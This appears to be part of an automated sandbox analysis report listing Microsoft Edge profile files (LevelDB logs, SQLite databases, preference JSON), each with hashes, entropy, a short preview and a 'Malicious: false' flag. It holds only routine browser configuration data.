Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\29a6a460-5fbd-4d4d-8d5b-3322a5db283e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\3c823ee0-9d37-4720-b119-eff1c12bb493.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17425), with no line terminators
Category:	dropped
Size (bytes):	17427
Entropy (8bit):	5.487693740054286
Encrypted:	false
SSDEEP:	384:st7LPGQSu4zsGytJrAI9wkwHMRGbGBQwQi:sROXu2ySbGyA
MD5:	F188C4FBA9078C665F6A12EC983E323B
SHA1:	2F3E3DB3006DC232E1DB7A2E5F53E04A32A647E6
SHA-256:	69BD01FF0D75E38161CBCB5A6629B1B63212DFD4E87407093AF6AE1FFCE4C5FF
SHA-512:	64840288C4B72E5A83ECFF8FC94C2442B83B4D786FAA5B7F43C7B547C81A7DA9DEB4F28A13591EAC30A9AB9D4F42F058DDF9C54275B999DEE334CBA5B5A92BAD
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376614361022732","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\6d49b9f3-51cc-4c99-9112-63f1bbab3884.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561213671592722
Encrypted:	false
SSDEEP:	768:VJhnAZ7pLGLPzZWPtNf+G8F1+UoAYDCx9Tuqh0VfUC9xbog/OVofnyhLxurwZXKf:VJhnAvcPzZWPtNf+Gu1jaxfnyFxrZXsj
MD5:	C554A00FA584E4EFF278E33BDB2BD1BA
SHA1:	60B1CD665961895BBC5387B6B42D2AD750F503BF
SHA-256:	731E19B228F56EC9CF1C0095C55E18A6380385C130D3E403A3533FAA97F2019C
SHA-512:	ECC7C643D9EEDD4E2747A25359489C7E225DCCC040F2A4A347D4B6DF867F9E8A32A36026300E6C38C4228DB3A2B2BD27426B287E93D063CE3552F1C63F94557B
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376614360510211","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376614360510211","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\9dff5801-5269-4445-8385-05c0c2609dfe.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17260), with no line terminators
Category:	dropped
Size (bytes):	17262
Entropy (8bit):	5.491042930680348
Encrypted:	false
SSDEEP:	384:st7LPGQSu4zsGytJrAI9wkwHMRGbGBQwp:sROXu2ySbGyO
MD5:	6B7B425603B2E84D009E3F57F921B231
SHA1:	3A5AC4DF92D21074AC9EB53A22E1B70C8C21BC89
SHA-256:	B484C88E2264DEFA88E7CC503DD7F523A6646F081859C41B8E6625E5051890FE
SHA-512:	34728AC32C5ED28C32A2AD6618E85162B32B92389D6E99DEEF0B6F09342E6A7CC220CCB8EEA57646CA189CE7CDB6B68E50C9FABD78C042608B23883961A1D672
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376614361022732","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.225436404071091
Encrypted:	false
SSDEEP:	6:HHSGOYM1cNwi23oH+Tcwtp3hBtB2KLlVHSGOgWj+q2PcNwi23oH+Tcwtp3hBWsIg:nSGOY2ZYebp3dFL/SGOP+vLZYebp3eF2
MD5:	5C373C1F5DE70F782FA005986AFF8C30
SHA1:	C53E0A8735F8B1F83E810865694C904689E03EED
SHA-256:	BB5C29239AFAE81CD27810912CF8A10533C9506D2B15A56BBD5039D71E87181B
SHA-512:	715F759F8FF8583DF3120738ACFBFA2F1F26A777FCEAF6FCA17A38E6B22AB0F7A342860AE40E0A2368ED046FCDDB97D171E71BAEE139C7EDC104B3A1A820EB8C
Malicious:	false
Preview:	2024/11/20-17:12:45.081 2144 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/20-17:12:45.131 2144 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	1696115
Entropy (8bit):	5.040644534269239
Encrypted:	false
SSDEEP:	24576:kZf76gGkISshcFdmcOAoPENUpifYP+MbI2T:kZfgAmmE
MD5:	22ADD7F7192CEBC17FFC0A7B7B18A3C3
SHA1:	D9BEEB7150FBD2AEA29F0C8B2B02BEA39D6E0F47
SHA-256:	FFB350B8CF87DAEED0628E83931617095FF9A331AED61FDA6EB21849014E6852
SHA-512:	385A31AB22024DEEAFA00D342B889D692C1C2A3BE02EB9914624A0D23276FF6D8E6029FBB1FDCE766DBA36B0B795416A258F24C703E366269C2DB343F78C4EFE
Malicious:	false
Preview:	...m.................DB_VERSION.1.....................QUERY_TIMESTAMP:arbitration_priority_list4...13340965219355520.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.140356689548826
Encrypted:	false
SSDEEP:	6:HHSGzfR4q2PcNwi23oH+Tcwt9Eh1tIFUt8YHSGzoNJZmw+YHSGzmVNDkwOcNwi2w:nSGzqvLZYeb9Eh16FUt8kSGzE/+kSGz0
MD5:	0CA6E737108A455CB55A7437F6E83B4D
SHA1:	DD853A942BC353E470989069A3B2927EC836F3AA
SHA-256:	DDBD6FCE40D1E145EC3A26DD1CD8BC96ACFAB7DC45D2ADED1ED55B17A2A2BC4C
SHA-512:	71CC80E0201810869976708E87326205AD8699CFF56088ABAF8B5BF33C0DDA8FC13C936C5623D9F4E3560E7B7218D32C1618F4A00951C9387FF393C4EA07F582
Malicious:	false
Preview:	2024/11/20-17:12:44.875 2194 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/20-17:12:44.878 2194 Recovering log #3.2024/11/20-17:12:44.922 2194 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.140356689548826
Encrypted:	false
SSDEEP:	6:HHSGzfR4q2PcNwi23oH+Tcwt9Eh1tIFUt8YHSGzoNJZmw+YHSGzmVNDkwOcNwi2w:nSGzqvLZYeb9Eh16FUt8kSGzE/+kSGz0
MD5:	0CA6E737108A455CB55A7437F6E83B4D
SHA1:	DD853A942BC353E470989069A3B2927EC836F3AA
SHA-256:	DDBD6FCE40D1E145EC3A26DD1CD8BC96ACFAB7DC45D2ADED1ED55B17A2A2BC4C
SHA-512:	71CC80E0201810869976708E87326205AD8699CFF56088ABAF8B5BF33C0DDA8FC13C936C5623D9F4E3560E7B7218D32C1618F4A00951C9387FF393C4EA07F582
Malicious:	false
Preview:	2024/11/20-17:12:44.875 2194 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/20-17:12:44.878 2194 Recovering log #3.2024/11/20-17:12:44.922 2194 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4636479047494623
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuAA9k:TouQq3qh7z3bY2LNW9WMcUvBuAA9k
MD5:	CCD19A2B2E990FBB6F80DA24A671BA25
SHA1:	F464093FCD0DC012E215C64F63ED97E9FB722B9A
SHA-256:	14B07B1E6D6B124F4B3ECDDBC25D1B13D042730F2D667E1641237AD1ADAE5176
SHA-512:	D1928414C1DF13F58A9F8B32EB41DA9F989D0951DD13A0482F7B9A956CC258B550767BA83888BEDBFBAB24EAA6A322C12A41FAEE223DF7ED69E1774255FC0C87
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	354
Entropy (8bit):	5.189501543921134
Encrypted:	false
SSDEEP:	6:HHSG/kmpQ+q2PcNwi23oH+TcwtnG2tMsIFUt8YHSG/eXpgZmw+YHSG/Y2FWSQVkv:nSG/kmpQ+vLZYebn9GFUt8kSG/Ipg/+U
MD5:	346714BB831F03A632739CE3135B8F11
SHA1:	DCF0E52B27277D8375FC74A7DA1CB263884FC41D
SHA-256:	ABEBB839B44926437707AEDA1C98D4BDA559AD72965D491562CD31C059075358
SHA-512:	7D093B73EA50D89E96B23711D920486F5F264C0324A884F92A1FEFAC3D38C744EB5AFE7E19C4C91F60781A1F9DC11033D6767AABDC55E354B79DA5E86FEB2876
Malicious:	false
Preview:	2024/11/20-17:12:40.606 192c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/20-17:12:40.607 192c Recovering log #3.2024/11/20-17:12:40.617 192c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	354
Entropy (8bit):	5.189501543921134
Encrypted:	false
SSDEEP:	6:HHSG/kmpQ+q2PcNwi23oH+TcwtnG2tMsIFUt8YHSG/eXpgZmw+YHSG/Y2FWSQVkv:nSG/kmpQ+vLZYebn9GFUt8kSG/Ipg/+U
MD5:	346714BB831F03A632739CE3135B8F11
SHA1:	DCF0E52B27277D8375FC74A7DA1CB263884FC41D
SHA-256:	ABEBB839B44926437707AEDA1C98D4BDA559AD72965D491562CD31C059075358
SHA-512:	7D093B73EA50D89E96B23711D920486F5F264C0324A884F92A1FEFAC3D38C744EB5AFE7E19C4C91F60781A1F9DC11033D6767AABDC55E354B79DA5E86FEB2876
Malicious:	false
Preview:	2024/11/20-17:12:40.606 192c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/20-17:12:40.607 192c Recovering log #3.2024/11/20-17:12:40.617 192c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6131476922134075
Encrypted:	false
SSDEEP:	12:TLs9pRSJDBJuqJSEDNvrWjJQ9Dl9np59yDLgHFUxOUDaaTXubHa7mWDVL0MAqVwc:TLapR+DDNzWjJ0npnyXKUO8+j3pDmL
MD5:	9761DEA3DA3896BBA60FFCD8B11626B8
SHA1:	02148D43C80812F326BD6C6D2BF06ED75B40E9F6
SHA-256:	37F9269A5C87F6FF2AFF5186C448592C2378F8F9127376C416193B2A33F64E6B
SHA-512:	CCA8B7502C413F181B6AD2EAD5AB5587F6A7AAD87E7E8D283C4CEC13BC5B2CEBA4B2BABE29229B49EC4B6F0D5B5221F92490E291A91DEB4B589C5554CD31E652
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	375520
Entropy (8bit):	5.354145704175389
Encrypted:	false
SSDEEP:	6144:4A/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:4FdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	1B936CD1A35C696C92068BB59A908C69
SHA1:	F4E1DBB72DFFEF769BF0BEB31FD7CFC235C0E010
SHA-256:	EE08EDFEB9C5081F3B8A55226684080A7392A7A6B67A0CE098354E558EA42511
SHA-512:	543B90F7AC061E809C8A791935AC87B4E8F3D097AAF00C647BC03DC07A54A61FA7E16686E6A333EB5995AEA5D93DEE9953257CFCD16FFAC29AB936E64AB94128
Malicious:	false
Preview:	...m.................DB_VERSION.1..Gq...............&QUERY_TIMESTAMP:domains_config_gz2...13376614368453646..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	317
Entropy (8bit):	5.197647343381726
Encrypted:	false
SSDEEP:	6:HHSGzVj+q1cNwi23oH+Tcwtk2WwnvB2KLlVHSGOl39+q2PcNwi23oH+Tcwtk2Wwp:nSGzVtZYebkxwnvFL/SGOuvLZYebkxwp
MD5:	BCF0F95ED960897EAF3777CC69AA578B
SHA1:	A19AAB0F8CDF0C2133D2DF7AD47395C58596ECD4
SHA-256:	ECEE41C1CE511B99E4B537779EA999B1199773080DE3572A6503C07058FFD85B
SHA-512:	75EB95FC56CF0AAF216DFF115D08D27B85DF90F6C4D90E20BE7C0CD9E9B20FCE1DD6E5F1D694E1F36B70E8D7140099DBA05D9BEB05583435F80534D0B180DED3
Malicious:	false
Preview:	2024/11/20-17:12:44.976 2318 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/20-17:12:45.006 2318 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	358860
Entropy (8bit):	5.324608948564351
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6R0:C1gAg1zfv8
MD5:	9EA0CBC18294A5EC910F7F262A752218
SHA1:	3CC07B2A6D5871A6F1A4F4A76A618C2758E72829
SHA-256:	DE76EFD638913925148E49C9BDE751CA89D8517184BFC78ABDCD2A7F911FD4DE
SHA-512:	8544BC38883750C7B00A8330367CE1A8ECADC054D72C305295FA97B41615EBEDD469557BD19CC00680625C094CE497DB551A8087AF2B4C6DC259C89CFB15F417
Malicious:	false
